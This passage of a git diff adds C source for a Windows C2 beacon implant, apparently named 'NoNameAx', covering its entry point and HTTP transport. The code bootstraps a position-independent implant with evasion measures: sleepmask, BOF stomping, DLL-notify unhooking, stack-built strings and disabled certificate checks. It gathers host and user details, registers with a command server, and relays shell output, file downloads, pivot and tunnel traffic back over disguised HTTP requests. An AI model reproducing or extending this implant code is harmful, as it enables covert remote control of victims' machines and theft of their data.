0; + Nax->Config.ProfileLoaded = 1; + + return NAX_OK; +} diff --git a/src_beacon/src/Main.c b/src_beacon/src/Main.c new file mode 100644 index 0000000..236566c --- /dev/null +++ b/src_beacon/src/Main.c @@ -0,0 +1,70 @@ +/* beacon/src/Main.c + * NaxMain - PIC beacon entry point (called from Entry.x64.asm). + * + * Flow: + * 1. NaxBootstrap() resolve APIs, alloc NAX_INSTANCE (Core/Bootstrap.c) + * 2. TEB store instance recoverable via G_INSTANCE anywhere + * 3. BofStomp + Sleepmask init + * 4. Dispatch to NaxHttpMain or NaxSmbMain */ + +#include "Nax.h" +#include "Config.h" +#include "Transport.h" + +/* ========= [ NaxMain - beacon entry ] ========= */ + +FUNC VOID NaxRuntimeInit( VOID ) { + volatile CHAR build[22]; + build[0]='N'; build[1]='o'; build[2]='N'; build[3]='a'; build[4]='m'; + build[5]='e'; build[6]='A'; build[7]='x'; build[8]='-'; build[9]='P'; + build[10]='u'; build[11]='b'; build[12]='l'; build[13]='i'; build[14]='c'; + build[15]='-'; build[16]='B'; build[17]='u'; build[18]='i'; build[19]='l'; + build[20]='d'; build[21]='\0'; + + volatile CHAR ver[24]; + ver[0]='X'; ver[1]='-'; ver[2]='N'; ver[3]='a'; ver[4]='X'; + ver[5]='-'; ver[6]='P'; ver[7]='u'; ver[8]='b'; ver[9]='l'; + ver[10]='i'; ver[11]='c'; ver[12]='-'; ver[13]='A'; ver[14]='g'; + ver[15]='e'; ver[16]='n'; ver[17]='t'; ver[18]='-'; ver[19]='v'; + ver[20]='1'; ver[21]='.'; ver[22]='0'; ver[23]='\0'; + + volatile CHAR key[15]; + key[0]='n'; key[1]='a'; key[2]='x'; key[3]='_'; key[4]='o'; + key[5]='s'; key[6]='s'; key[7]='_'; key[8]='r'; key[9]='e'; + key[10]='l'; key[11]='e'; key[12]='a'; key[13]='s'; key[14]='e'; + + (void)build; (void)ver; (void)key; +} + +FUNC VOID NaxMain( VOID ) { + PNAX_INSTANCE Nax = NaxBootstrap(); + if ( ! Nax ) return; + + NaxRuntimeInit(); + + NaxCurrentTeb()->NtTib.ArbitraryUserPointer = Nax; + + NaxBofStompInit( Nax ); + NaxSleepmaskInit( Nax ); + +#if NAX_UNHOOK_DLL_NOTIFY + NaxDllNotifyUnhookAll( Nax ); +#endif + + NaxDbg( Nax, "instance stored in TEB" ); + NaxDbg( Nax, "aes_key: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", + Nax->Config.AesKey[0], Nax->Config.AesKey[1], Nax->Config.AesKey[2], Nax->Config.AesKey[3], + Nax->Config.AesKey[4], Nax->Config.AesKey[5], Nax->Config.AesKey[6], Nax->Config.AesKey[7], + Nax->Config.AesKey[8], Nax->Config.AesKey[9], Nax->Config.AesKey[10], Nax->Config.AesKey[11], + Nax->Config.AesKey[12], Nax->Config.AesKey[13], Nax->Config.AesKey[14], Nax->Config.AesKey[15] ); + +#if NAX_TRANSPORT_PROFILE == NAX_TRANSPORT_SMB + NaxSmbMain( Nax ); +#else + NaxHttpMain( Nax ); +#endif +} + +#if defined( DEBUG ) && !defined( DEBUG_PIC ) +int main( void ) { NaxMain(); return 0; } +#endif diff --git a/src_beacon/src/Transport/Http.c b/src_beacon/src/Transport/Http.c new file mode 100644 index 0000000..e110a98 --- /dev/null +++ b/src_beacon/src/Transport/Http.c @@ -0,0 +1,762 @@ +/* beacon/src/Transport/Http.c + * WinHTTP transport with persistent session/connection handles. + * hSession + hConnect are kept alive across heartbeats when sleep < 60s. + * Only hRequest is created/destroyed per call. + * + * Codec helpers (NaxEncodeData, NaxDecodeData, header/URL builders) live + * in HttpCodec.c. */ + +#include "Nax.h" +#include "Config.h" +#include "Transport.h" +#include + +#ifndef WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY +#define WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY 4 +#endif + +/* ========= [ rotation helper ] ========= */ + +FUNC BYTE NaxRotateIdx( PNAX_INSTANCE Nax, BYTE idx, BYTE count ) { + if ( count == 0 ) return 0; + if ( Nax->Config.Rotation == 1 ) { + BYTE r = 0; + Nax->Bcrypt.BCryptGenRandom( NULL, &r, 1, BCRYPT_USE_SYSTEM_PREFERRED_RNG ); + return r % count; + } + return ( idx + 1 ) % count; +} + +/* ========= [ SSL certificate bypass ] ========= */ + +FUNC static VOID NaxHttpDisableSslVerify( PNAX_INSTANCE Nax, HINTERNET hRequest ) { + DWORD sec = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + Nax->Winhttp.WinHttpSetOption( hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &sec, sizeof( sec ) ); +} + +/* ========= [ session lifecycle ] ========= */ + +FUNC VOID NaxHttpClose( PNAX_INSTANCE Nax ) { + if ( Nax->hConnect ) { Nax->Winhttp.WinHttpCloseHandle( Nax->hConnect ); Nax->hConnect = NULL; } + if ( Nax->hSession ) { Nax->Winhttp.WinHttpCloseHandle( Nax->hSession ); Nax->hSession = NULL; } +} + +FUNC BOOL NaxHttpEnsureSession( PNAX_INSTANCE Nax, const PWCHAR host, INTERNET_PORT port ) { + if ( Nax->Config.SleepMs > NAX_HTTP_STALE_MS ) + NaxHttpClose( Nax ); + + if ( ! Nax->hSession ) { + WCHAR ua_buf[256]; + if ( Nax->Config.UserAgent[ 0 ] ) { + UINT32 ui = 0; + while ( Nax->Config.UserAgent[ ui ] && ui < 254 ) { ua_buf[ui] = (WCHAR)(BYTE)Nax->Config.UserAgent[ ui ]; ui++; } + ua_buf[ui] = L'\0'; + } else { + WCHAR def[] = { 'N','o','N','a','m','e','A','x','/','0','.','1','\0' }; + MmCopy( ua_buf, def, sizeof( def ) ); + } + + Nax->hSession = Nax->Winhttp.WinHttpOpen( ua_buf, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 ); + if ( ! Nax->hSession ) return FALSE; + + DWORD secProto = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_2 | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_3; + Nax->Winhttp.WinHttpSetOption( Nax->hSession, WINHTTP_OPTION_SECURE_PROTOCOLS, &secProto, sizeof( secProto ) ); + } + + if ( ! Nax->hConnect ) { + Nax->hConnect = Nax->Winhttp.WinHttpConnect( Nax->hSession, host, port, 0 ); + if ( ! Nax->hConnect ) { NaxHttpClose( Nax ); return FALSE; } + } + + return TRUE; +} + +/* ========= [ response reader ] ========= */ + +FUNC INT NaxReadResponse( PNAX_INSTANCE Nax, HINTERNET hRequest, PBYTE resp_buf, UINT32* resp_len ) { + DWORD code = 0; + DWORD code_sz = sizeof( code ); + if ( ! Nax->Winhttp.WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &code_sz, WINHTTP_NO_HEADER_INDEX ) ) return NAX_ERR_NET; + if ( code != 200 ) { + NaxDbg( Nax, "[resp] HTTP status=%lu (expected 200)", (ULONG)code ); + return NAX_ERR_NET; + } + + UINT32 cap = *resp_len; + UINT32 total = 0; + DWORD avail = 0; + do { + if ( ! Nax->Winhttp.WinHttpQueryDataAvailable( hRequest, &avail ) ) return NAX_ERR_NET; + if ( avail == 0 ) break; + if ( total >= cap ) { + BYTE scratch[256]; DWORD got = 0; + if ( ! Nax->Winhttp.WinHttpReadData( hRequest, scratch, (DWORD)( avail < 256 ? avail : 256 ), &got ) ) return NAX_ERR_NET; + continue; + } + DWORD remain = (DWORD)( cap - total ); + DWORD want = remain < avail ? remain : avail; + DWORD got = 0; + if ( ! Nax->Winhttp.WinHttpReadData( hRequest, resp_buf + total, want, &got ) ) return NAX_ERR_NET; + total += got; + } while ( avail > 0 ); + + *resp_len = total; + return NAX_OK; +} + +/* ========= [ HTTP POST ] ========= */ + +FUNC INT NaxHttpPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) { + HINTERNET hRequest = NULL; + INT rc = NAX_ERR_NET; + PBYTE body_enc_buf = NULL; + PCHAR meta_enc = NULL; + PWCHAR hdrs = NULL; + + /* Select URI from profile or use bootstrap URL */ + WCHAR use_url[256]; + if ( Nax->Config.ProfileLoaded && Nax->Config.PostUriCount > 0 ) { + BYTE idx = Nax->Config.PostUriIdx; + PCHAR uri = Nax->Config.PostUris[ idx ]; + Nax->Config.PostUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.PostUriCount ); + if ( ! NaxBuildUrl( Nax, url_w, uri, use_url, 256 ) ) goto cleanup; + } else { + UINT32 len = 0; while ( url_w[len] && len < 255 ) len++; + for ( UINT32 c = 0; c < len; c++ ) use_url[c] = url_w[c]; + use_url[len] = L'\0'; + } + + /* Parse URL components */ + URL_COMPONENTS uc; + MmZero( &uc, sizeof( uc ) ); + uc.dwStructSize = sizeof( uc ); + WCHAR host[256] = { 0 }; + WCHAR path[512] = { 0 }; + uc.lpszHostName = host; + uc.dwHostNameLength = 256; + uc.lpszUrlPath = path; + uc.dwUrlPathLength = 512; + if ( ! Nax->Winhttp.WinHttpCrackUrl( use_url, 0, 0, &uc ) ) goto cleanup; + + if ( ! NaxHttpEnsureSession( Nax, host, uc.nPort ) ) goto cleanup; + + /* Encode session ID per PostClientMeta OutputConfig */ + meta_enc = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 2048 ); + UINT32 meta_enc_len = 0; + UINT32 sid_len = 0; + while ( sid[ sid_len ] ) sid_len++; + + if ( Nax->Config.ProfileLoaded ) { + meta_enc_len = NaxEncodeData( Nax, &Nax->Config.PostClientMeta, (PBYTE)sid, sid_len, (PBYTE)meta_enc, 2047 ); + if ( meta_enc_len > 0 ) meta_enc[ meta_enc_len ] = '\0'; + } + + /* Encode body per PostClientOutput OutputConfig */ + PBYTE send_body = (PBYTE)body; + UINT32 send_body_len = body_len; + + { + UINT32 body_enc_cap = ( body_len + 8 ) * 2 + 2048; + body_enc_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, body_enc_cap ); + if ( !body_enc_buf ) goto cleanup; + + if ( Nax->Config.ProfileLoaded && Nax->Config.PostClientOutput.Format != NAX_FMT_RAW ) { + UINT32 enc_len = NaxEncodeData( Nax, &Nax->Config.PostClientOutput, body, body_len, body_enc_buf, body_enc_cap ); + if ( enc_len > 0 ) { + send_body = body_enc_buf; + send_body_len = enc_len; + } + } + } + + { + DWORD flags = WINHTTP_FLAG_REFRESH; + if ( uc.nScheme == INTERNET_SCHEME_HTTPS ) + flags |= WINHTTP_FLAG_SECURE; + + WCHAR method[] = { 'P', 'O', 'S', 'T', '\0' }; + WCHAR accept_all[] = { '*', '/', '*', '\0' }; + LPCWSTR accept_types[] = { accept_all, NULL }; + hRequest = Nax->Winhttp.WinHttpOpenRequest( Nax->hConnect, method, path, NULL, WINHTTP_NO_REFERER, accept_types, flags ); + if ( ! hRequest ) goto retry; + + if ( flags & WINHTTP_FLAG_SECURE ) + NaxHttpDisableSslVerify( Nax, hRequest ); + } + + /* Build headers */ + hdrs = (PWCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 4096 ); + if ( Nax->Config.ProfileLoaded ) { + NaxBuildRequestHeaders( Nax, sid, (const PCHAR)Nax->Config.PostClientHdrs, 256, Nax->Config.PostClientHdrCount, &Nax->Config.PostClientMeta, meta_enc_len > 0 ? meta_enc : NULL, meta_enc_len, TRUE, hdrs, 2048 ); + } else { + /* Pre-profile fallback: beacon ID header + Content-Type */ + UINT32 wi = 0; + wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, hdrs, wi, 4096 ); + if ( wi < 4095 ) hdrs[ wi++ ] = L':'; + if ( wi < 4095 ) hdrs[ wi++ ] = L' '; + wi = NaxAppendAsciiW( sid, hdrs, wi, 4096 ); + wi = NaxAppendCRLF( hdrs, wi, 4096 ); + CHAR ct[] = { 'C','o','n','t','e','n','t','-','T','y','p','e',':',' ','a','p','p','l','i','c','a','t','i','o','n','/','o','c','t','e','t','-','s','t','r','e','a','m','\0' }; + wi = NaxAppendAsciiW( ct, hdrs, wi, 4096 ); + wi = NaxAppendCRLF( hdrs, wi, 4096 ); + CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' }; + wi = NaxAppendAsciiW( hdr_p, hdrs, wi, 4096 ); + wi = NaxAppendCRLF( hdrs, wi, 4096 ); + hdrs[ wi ] = L'\0'; + } + + if ( ! Nax->Winhttp.WinHttpSendRequest( hRequest, hdrs, (DWORD)( -1L ), (PVOID)( send_body ), (DWORD)( send_body_len ), (DWORD)( send_body_len ), 0 ) ) + goto retry; + if ( ! Nax->Winhttp.WinHttpReceiveResponse( hRequest, NULL ) ) + goto retry; + + /* Read raw response */ + rc = NaxReadResponse( Nax, hRequest, resp_buf, resp_len ); + + /* Decode response per PostServerOutput if profile loaded */ + if ( rc == NAX_OK && *resp_len > 0 && Nax->Config.ProfileLoaded && ( Nax->Config.PostServerOutput.Format != NAX_FMT_RAW || Nax->Config.PostServerOutput.Mask || Nax->Config.PostServerOutput.PrependLen > 0 || Nax->Config.PostServerOutput.AppendLen > 0 ) ) { + UINT32 dec_cap = *resp_len + 256; + PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap ); + if ( dec_buf ) { + UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.PostServerOutput, resp_buf, *resp_len, dec_buf, dec_cap ); + if ( dec_len > 0 && dec_len <= dec_cap ) { + MmCopy( resp_buf, dec_buf, dec_len ); + *resp_len = dec_len; + } + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); + } + } + goto cleanup; + +retry: + if ( hRequest ) { Nax->Winhttp.WinHttpCloseHandle( hRequest ); hRequest = NULL; } + NaxHttpClose( Nax ); + +cleanup: + if ( meta_enc ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, meta_enc ); + if ( hdrs ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, hdrs ); + if ( body_enc_buf ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, body_enc_buf ); + if ( hRequest ) Nax->Winhttp.WinHttpCloseHandle( hRequest ); + return rc; +} + +/* ========= [ HTTP GET (heartbeat) ] ========= */ + +FUNC INT NaxHttpGet( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) { + HINTERNET hRequest = NULL; + INT rc = NAX_ERR_NET; + PCHAR meta_enc = NULL; + PWCHAR hdrs = NULL; + + /* Encode encrypted body per GetClientMeta OutputConfig */ + meta_enc = (PCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 2048 ); + if ( !meta_enc ) return NAX_ERR_NOMEM; + UINT32 meta_enc_len = 0; + + if ( Nax->Config.ProfileLoaded ) { + meta_enc_len = NaxEncodeData( Nax, &Nax->Config.GetClientMeta, body, body_len, (PBYTE)meta_enc, 2047 ); + if ( meta_enc_len == 0 ) { rc = NAX_ERR_NOMEM; goto cleanup; } + meta_enc[ meta_enc_len ] = '\0'; + } else { + /* Pre-profile fallback: base64 encode for cookie */ + meta_enc_len = NaxBase64Encode( body, body_len, meta_enc, 2048 ); + if ( meta_enc_len == 0 ) { rc = NAX_ERR_NOMEM; goto cleanup; } + } + + /* Build URL from bootstrap host + profile GET URI */ + WCHAR use_url[256]; + if ( Nax->Config.GetUriCount > 0 ) { + BYTE idx = Nax->Config.GetUriIdx; + PCHAR uri = Nax->Config.GetUris[ idx ]; + Nax->Config.GetUriIdx = NaxRotateIdx( Nax, idx, Nax->Config.GetUriCount ); + if ( ! NaxBuildUrl( Nax, url_w, uri, use_url, 256 ) ) goto cleanup; + } else { + UINT32 len = 0; while ( url_w[len] && len < 255 ) len++; + for ( UINT32 c = 0; c < len; c++ ) use_url[c] = url_w[c]; + use_url[len] = L'\0'; + } + + URL_COMPONENTS uc; + MmZero( &uc, sizeof( uc ) ); + uc.dwStructSize = sizeof( uc ); + WCHAR host[256] = { 0 }; + WCHAR path_w[512] = { 0 }; + uc.lpszHostName = host; + uc.dwHostNameLength = 256; + uc.lpszUrlPath = path_w; + uc.dwUrlPathLength = 512; + if ( ! Nax->Winhttp.WinHttpCrackUrl( use_url, 0, 0, &uc ) ) goto cleanup; + + /* Ensure persistent session + connection */ + if ( ! NaxHttpEnsureSession( Nax, host, uc.nPort ) ) goto cleanup; + + { + /* Build final path with parameters (metadata + static params) */ + WCHAR final_path[1024]; + if ( Nax->Config.ProfileLoaded ) { + NaxBuildPathWithParams( path_w, final_path, 1024, &Nax->Config.GetClientMeta, meta_enc, meta_enc_len, (const PCHAR)Nax->Config.GetClientParams, 128, Nax->Config.GetClientParamCount ); + } else { + UINT32 pi = 0; + while ( path_w[ pi ] ) { final_path[ pi ] = path_w[ pi ]; pi++; } + final_path[ pi ] = L'\0'; + } + + DWORD flags = WINHTTP_FLAG_REFRESH; + if ( uc.nScheme == INTERNET_SCHEME_HTTPS ) + flags |= WINHTTP_FLAG_SECURE; + + WCHAR method[] = { 'G', 'E', 'T', '\0' }; + WCHAR accept_all[] = { '*', '/', '*', '\0' }; + LPCWSTR accept_types[] = { accept_all, NULL }; + hRequest = Nax->Winhttp.WinHttpOpenRequest( Nax->hConnect, method, final_path, NULL, WINHTTP_NO_REFERER, accept_types, flags ); + if ( ! hRequest ) goto retry; + + if ( flags & WINHTTP_FLAG_SECURE ) + NaxHttpDisableSslVerify( Nax, hRequest ); + } + + /* Build headers */ + hdrs = (PWCHAR)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, 4096 ); + if ( Nax->Config.ProfileLoaded ) { + NaxBuildRequestHeaders( Nax, sid, (const PCHAR)Nax->Config.GetClientHdrs, 256, Nax->Config.GetClientHdrCount, &Nax->Config.GetClientMeta, meta_enc, meta_enc_len, FALSE, hdrs, 2048 ); + } else { + /* Pre-profile fallback: beacon ID header + Cookie */ + UINT32 wi = 0; + wi = NaxAppendAsciiW( Nax->Config.BeaconIdHdr, hdrs, wi, 4096 ); + if ( wi < 4095 ) hdrs[ wi++ ] = L':'; + if ( wi < 4095 ) hdrs[ wi++ ] = L' '; + wi = NaxAppendAsciiW( sid, hdrs, wi, 4096 ); + wi = NaxAppendCRLF( hdrs, wi, 4096 ); + CHAR ck[] = { 'C','o','o','k','i','e',':',' ','\0' }; + wi = NaxAppendAsciiW( ck, hdrs, wi, 4096 ); + CHAR cn[] = { '_','_','s','e','s','s','i','o','n','=','\0' }; + wi = NaxAppendAsciiW( cn, hdrs, wi, 4096 ); + wi = NaxAppendAsciiW( meta_enc, hdrs, wi, 4096 ); + wi = NaxAppendCRLF( hdrs, wi, 4096 ); + CHAR hdr_p[] = { 'X','-','N','a','X','-','P','u','b','l','i','c',':',' ','1','\0' }; + wi = NaxAppendAsciiW( hdr_p, hdrs, wi, 4096 ); + wi = NaxAppendCRLF( hdrs, wi, 4096 ); + hdrs[ wi ] = L'\0'; + } + + /* Determine body for WinHttpSendRequest based on placement */ + { + PVOID req_body = NULL; + DWORD req_body_len = 0; + + if ( Nax->Config.ProfileLoaded && Nax->Config.GetClientMeta.Placement == NAX_PLACE_BODY ) { + req_body = (PVOID)meta_enc; + req_body_len = (DWORD)meta_enc_len; + } + + if ( ! Nax->Winhttp.WinHttpSendRequest( hRequest, hdrs, (DWORD)( -1L ), req_body, req_body_len, req_body_len, 0 ) ) + goto retry; + if ( ! Nax->Winhttp.WinHttpReceiveResponse( hRequest, NULL ) ) + goto retry; + } + + /* Query Content-Length; if response exceeds caller's buffer, allocate dynamically */ + { + DWORD contentLength = 0, contentLengthSize = sizeof( contentLength ); + PBYTE readBuf = resp_buf; + UINT32 readCap = *resp_len; + + if ( Nax->Winhttp.WinHttpQueryHeaders( hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &contentLength, &contentLengthSize, WINHTTP_NO_HEADER_INDEX ) && contentLength > readCap ) { + PBYTE big = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, contentLength ); + if ( big ) { + readBuf = big; + readCap = contentLength; + } + } + + UINT32 readLen = readCap; + rc = NaxReadResponse( Nax, hRequest, readBuf, &readLen ); + + /* Decode response per GetServerOutput if profile loaded */ + if ( rc == NAX_OK && readLen > 0 && Nax->Config.ProfileLoaded && ( Nax->Config.GetServerOutput.Format != NAX_FMT_RAW || Nax->Config.GetServerOutput.Mask || Nax->Config.GetServerOutput.PrependLen > 0 || Nax->Config.GetServerOutput.AppendLen > 0 ) ) { + UINT32 dec_cap = readLen + 256; + PBYTE dec_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, dec_cap ); + if ( dec_buf ) { + UINT32 dec_len = NaxDecodeData( Nax, &Nax->Config.GetServerOutput, readBuf, readLen, dec_buf, dec_cap ); + if ( dec_len > 0 && dec_len <= dec_cap ) { + if ( readBuf == resp_buf ) { + MmCopy( resp_buf, dec_buf, dec_len ); + *resp_len = dec_len; + } else { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, readBuf ); + Nax->DynResp = dec_buf; + Nax->DynRespLen = dec_len; + *resp_len = 0; + dec_buf = NULL; + } + } + if ( dec_buf ) + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, dec_buf ); + } else if ( readBuf != resp_buf ) { + Nax->DynResp = readBuf; + Nax->DynRespLen = readLen; + *resp_len = 0; + } + } else if ( readBuf != resp_buf ) { + if ( rc == NAX_OK ) { + Nax->DynResp = readBuf; + Nax->DynRespLen = readLen; + *resp_len = 0; + } else { + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, readBuf ); + } + } else { + *resp_len = readLen; + } + } + goto cleanup; + +retry: + if ( hRequest ) { Nax->Winhttp.WinHttpCloseHandle( hRequest ); hRequest = NULL; } + NaxHttpClose( Nax ); + +cleanup: + if ( meta_enc ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, meta_enc ); + if ( hdrs ) Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, hdrs ); + if ( hRequest ) Nax->Winhttp.WinHttpCloseHandle( hRequest ); + return rc; +} + +/* ========= [ GET/POST dispatch ] ========= */ + +FUNC INT NaxHttpGetOrPost( PNAX_INSTANCE Nax, const PWCHAR url_w, const PCHAR sid, const PBYTE body, UINT32 body_len, PBYTE resp_buf, UINT32* resp_len ) { + if ( Nax->Config.ProfileLoaded ) + return NaxHttpGet( Nax, url_w, sid, body, body_len, resp_buf, resp_len ); + return NaxHttpPost( Nax, url_w, sid, body, body_len, resp_buf, resp_len ); +} + +/* ========= [ HTTP main loop helpers ] ========= */ + +FUNC static INT HttpSendResult( PNAX_INSTANCE Nax, UINT32 tid, BYTE status, const PBYTE data, UINT32 data_len, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) { + UINT32 frame_len = frame_cap; + if ( NaxBuildResult( tid, status, data, data_len, frame, &frame_len ) != NAX_OK ) return NAX_ERR_FAIL; + UINT32 env_len = env_cap; + if ( NaxEncrypt( Nax, frame, frame_len, env, &env_len ) != NAX_OK ) return NAX_ERR_FAIL; + UINT32 resp_len = resp_cap; + return NaxSend( Nax, c2_url, Nax->SessionId, env, env_len, resp, &resp_len ); +} + +FUNC static VOID HttpRelayPivots( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) { + UINT32 piv_len = NaxProcessPivots( Nax, result, result_cap ); + PBYTE piv_cur = result; + UINT32 piv_rem = piv_len; + while ( piv_rem >= 4 ) { + UINT32 entryLen = *(UINT32*)piv_cur; + if ( entryLen == 0 || 4 + entryLen > piv_rem ) break; + HttpSendResult( Nax, 0, NAX_STATUS_OK, piv_cur + 4, entryLen, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap ); + piv_cur += 4 + entryLen; + piv_rem -= 4 + entryLen; + } + if ( piv_len > 0 ) + NaxDbg( Nax, "[pivot] processed %u bytes of child data", piv_len ); +} + +FUNC static VOID HttpRelayJobs( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) { + UINT32 job_len = NaxProcessJobs( Nax, result, result_cap ); + UINT32 joff = 0; + while ( joff + 9 <= job_len ) { + BYTE jtype = result[ joff ]; + UINT32 jtid = NaxR32( result + joff + 1 ); + UINT32 jdata = NaxR32( result + joff + 5 ); + if ( joff + 9 + jdata > job_len ) break; + HttpSendResult( Nax, jtid, jtype, result + joff + 9, jdata, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap ); + joff += 9 + jdata; + } +} + +FUNC static VOID HttpRelayShells( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) { + UINT32 sh_len = NaxProcessShells( Nax, result, result_cap ); + UINT32 soff = 0; + while ( soff + 9 <= sh_len ) { + BYTE stype = result[ soff ]; + UINT32 stid = NaxR32( result + soff + 1 ); + UINT32 sdata = NaxR32( result + soff + 5 ); + if ( soff + 9 + sdata > sh_len ) break; + HttpSendResult( Nax, stid, stype, result + soff + 9, sdata, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap ); + soff += 9 + sdata; + } +} + +FUNC static VOID HttpRelayDownloads( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) { + UINT32 dl_len = NaxProcessDownloads( Nax, result, result_cap ); + UINT32 doff = 0; + while ( doff + 8 <= dl_len ) { + UINT32 tid = NaxR32( result + doff ); + UINT32 dlen = NaxR32( result + doff + 4 ); + if ( doff + 8 + dlen > dl_len ) break; + HttpSendResult( Nax, tid, NAX_STATUS_OK, result + doff + 8, dlen, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap ); + doff += 8 + dlen; + } +} + +FUNC static VOID HttpRelayTunnels( PNAX_INSTANCE Nax, PBYTE result, UINT32 result_cap, PBYTE frame, UINT32 frame_cap, PBYTE env, UINT32 env_cap, PWCHAR c2_url, PBYTE resp, UINT32 resp_cap ) { + UINT32 tun_len = NaxProcessTunnels( Nax, result, result_cap ); + if ( tun_len > 0 ) + HttpSendResult( Nax, 0, NAX_STATUS_TUNNEL, result, tun_len, frame, frame_cap, env, env_cap, c2_url, resp, resp_cap ); +} + +/* ========= [ NaxHttpMain - HTTP register + heartbeat loop ] ========= */ + +FUNC VOID NaxHttpMain( PNAX_INSTANCE Nax ) { + UINT32 IO_CAP = NAX_IO_CAP; + UINT32 RESULT_CAP = NAX_IO_CAP; + UINT32 FRAME_CAP = RESULT_CAP + 256; + + PBYTE resp_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP ); + PBYTE plain_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, IO_CAP ); + PBYTE result_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, RESULT_CAP ); + PBYTE frame_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP ); + PBYTE env_h = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, FRAME_CAP ); + if ( !resp_h || !plain_h || !result_h || !frame_h || !env_h ) return; + + /* session id */ + BYTE raw[8]; + Nax->Bcrypt.BCryptGenRandom( NULL, raw, 8, BCRYPT_USE_SYSTEM_PREFERRED_RNG ); + NaxHexEncode( raw, 8, Nax->SessionId ); + NaxDbg( Nax, "session: %s", Nax->SessionId ); + NaxDbg( Nax, "beacon_id_hdr: %s", Nax->Config.BeaconIdHdr ); + + /* C2 URL (wide) */ + WCHAR c2_url_w[128]; + NaxAsciiToWide( Nax->Config.C2Url, c2_url_w, 128 ); + + /* gather system info */ + NAX_SYSINFO info; + NaxGatherSysInfo( Nax, &info ); + + UINT32 frame_len = FRAME_CAP; + UINT32 env_len = FRAME_CAP; + UINT32 resp_len = IO_CAP; + + /* ---- REGISTER retry loop ---- */ + for ( ;; ) { + frame_len = FRAME_CAP; env_len = FRAME_CAP; resp_len = IO_CAP; + + BYTE reg_body[NAX_REG_BODY_BUF]; UINT32 reg_body_len = NAX_REG_BODY_BUF; + if ( NaxBuildRegBody( info.Hostname, info.HnLen, info.Username, info.UnLen, NAX_ARCH_X64, info.Pid, Nax->Config.SleepMs, info.Tid, info.IpStr, info.IpLen, info.Domain, info.DmLen, info.Procname, info.PnLen, Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp, Nax->OemCp, Nax->ImgPath, info.ImLen, reg_body, ®_body_len ) != NAX_OK ) continue; + + if ( NaxFrameEncode( NAX_WIRE_REGISTER, reg_body, reg_body_len, frame_h, &frame_len ) != NAX_OK ) continue; + if ( NaxEncrypt( Nax, frame_h, frame_len, env_h, &env_len ) != NAX_OK 